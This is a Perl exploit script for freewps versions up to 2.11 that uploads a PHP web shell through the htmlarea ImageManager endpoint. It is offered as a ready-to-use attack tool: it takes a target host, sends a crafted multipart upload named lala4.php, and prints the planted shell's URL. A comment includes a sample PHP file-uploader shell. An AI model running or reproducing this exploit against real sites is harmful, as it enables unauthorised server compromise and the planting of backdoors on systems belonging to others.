## freewps<=2.11 remote shell uploader exploit ##
use IO::Socket;
if(@ARGV < 1){
   usage();
   exit;
}
open(FILE, 'shell.php'); # your shell code here (max 2 kb);
#############################################################################################################
# shell code example:
#<?php if(isset($_POST['go'])){if(is_uploaded_file($_FILES['userfile']['tmp_name'])){@copy($_FILES['userfile']['tmp_name'],$_FILES['userfile']['name']);}}?>
#<form enctype=multipart/form-data  method=post><input name='userfile' type=file><input type=submit name='go'></form>
##############################################################################################################
$path = ""; # path to /htmlarea/
@file = <FILE>;
close(FILE);
$shell = join('', @file);
$shell_name = 'lala4.php'; # shell name
print "-=[ freewps<=2.11 remote shell uploader  ]=-\n";
print "        by Pashkela [bugtrack team] 2010  \n\n";
print "        from http://www.milw0rm.com/exploits/704  \n\n";
print "        instead of http://www.milw0rm.com/exploits/1600  \n\n";
$host[0] = $ARGV[0];
if($host[0] =~ /\//){
   ($host[1],$host[2])=split(/\//,$host[0]);
   $host[0] =~ /\/(.*)/;
   $host[3] = "/";
   $host[3] .= $1;
}
$host[1] = $host[0] if(!$host[1]);
print "# $host[1]\n";
$path = $host[3] . $path . "/htmlarea/popups/ImageManager/images.php";
$socket=IO::Socket::INET->new(Proto=>'tcp',PeerAddr=>$host[1],PeerPort=>80,Timeout=>10)|| die "  s0k off\n";
print $socket "POST $path HTTP/1.1\r\n";
print $socket "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n";
print $socket "Referer: http://www.lapropinacultural.com.ar/handlers/htmlarea/popups/insert_image.php\r\n";
print $socket "Accept-Language: pt\r\n";
print $socket "Content-Type: multipart/form-data; boundary=---------------------------7d410e113f8\r\n";
print $socket "Accept-Encoding: gzip, deflate\r\n";
print $socket "User-Agent: l33t br0ws3r\r\n";
print $socket "Host: $host[1]\r\n";
print $socket "Content-Length: 1646\r\n";
print $socket "Connection: Keep-Alive\r\n\r\n";
print $socket "-----------------------------7d410e113f8\r\n";
print $socket "Content-Disposition: form-data; name=\"dirPath\"\r\n\r\n";
print $socket "/\r\n";
print $socket "-----------------------------7d410e113f8\r\n";
print $socket "Content-Disposition: form-data; name=\"url\"\r\n\r\n\r\n";
print $socket "-----------------------------7d410e113f8\r\n";
print $socket "Content-Disposition: form-data; name=\"width\"\r\n\r\n\r\n";
print $socket "-----------------------------7d410e113f8\r\n";
print $socket "Content-Disposition: form-data; name=\"vert\"\r\n\r\n\r\n";
print $socket "-----------------------------7d410e113f8\r\n";
print $socket "Content-Disposition: form-data; name=\"alt\"\r\n\r\n\r\n";
print $socket "-----------------------------7d410e113f8\r\n";
print $socket "Content-Disposition: form-data; name=\"height\"\r\n\r\n\r\n";
print $socket "-----------------------------7d410e113f8\r\n";
print $socket "Content-Disposition: form-data; name=\"horiz\"\r\n\r\n\r\n";
print $socket "-----------------------------7d410e113f8\r\n";
print $socket "Content-Disposition: form-data; name=\"upload\"; filename=\"$shell_name\"\r\n";
print $socket "Content-Type: application/octet-stream\r\n\r\n";
print $socket "$shell\r\n";
print $socket "-----------------------------7d410e113f8\r\n";
print $socket "Content-Disposition: form-data; name=\"align\"\r\n\r\n";
print $socket "baseline\r\n";
print $socket "-----------------------------7d410e113f8\r\n";
print $socket "Content-Disposition: form-data; name=\"border\"\r\n\r\n\r\n";
print $socket "-----------------------------7d410e113f8\r\n";
print $socket "Content-Disposition: form-data; name=\"orginal_width\"\r\n\r\n\r\n";
print $socket "-----------------------------7d410e113f8\r\n";
print $socket "Content-Disposition: form-data; name=\"orginal_height\"\r\n\r\n\r\n";
print $socket "-----------------------------7d410e113f8\r\n";
print $socket "Content-Disposition: form-data; name=\"constrain_prop\"\r\n\r\n";
print $socket "on\r\n";
print $socket "-----------------------------7d410e113f8\r\n";
print $socket "Content-Disposition: form-data; name=\"ok\"\r\n\r\n";
print $socket "Refresh\r\n";
print $socket "-----------------------------7d410e113f8\r\n";
print $socket "Content-Disposition: form-data; name=\"ok\"\r\n\r\n";
print $socket "OK\r\n";
print $socket "-----------------------------7d410e113f8\r\n";
print $socket "Content-Disposition: form-data; name=\"cancel\"\r\n\r\n";
print $socket "Cancel\r\n";
print $socket "-----------------------------7d410e113f8--\r\n\r\n\r\n\r\n";
@socket = <$socket>;
foreach $teste(@socket){
  if($teste=~ /<title>Image Browser<\/title>/){
     print "# Shell uploaded!\n";
     print "# Here: \n# $host[0]/$shell_name\n";
     $result = 1;
  }
}
close($socket);
if($result){
  exit;
} else {
  print "Exploit failed..."
}
sub usage(){
    print "-=[ freewps<=2.11 remote shell uploader  ]=-\n";
    print "        by Pashkela [bugtrack team] 2010  \n\n";
    print "        from http://www.milw0rm.com/exploits/704  \n\n";
    print "        instead of http://www.milw0rm.com/exploits/1600  \n\n";
    print "# usage: perl $0 <host> \n";
}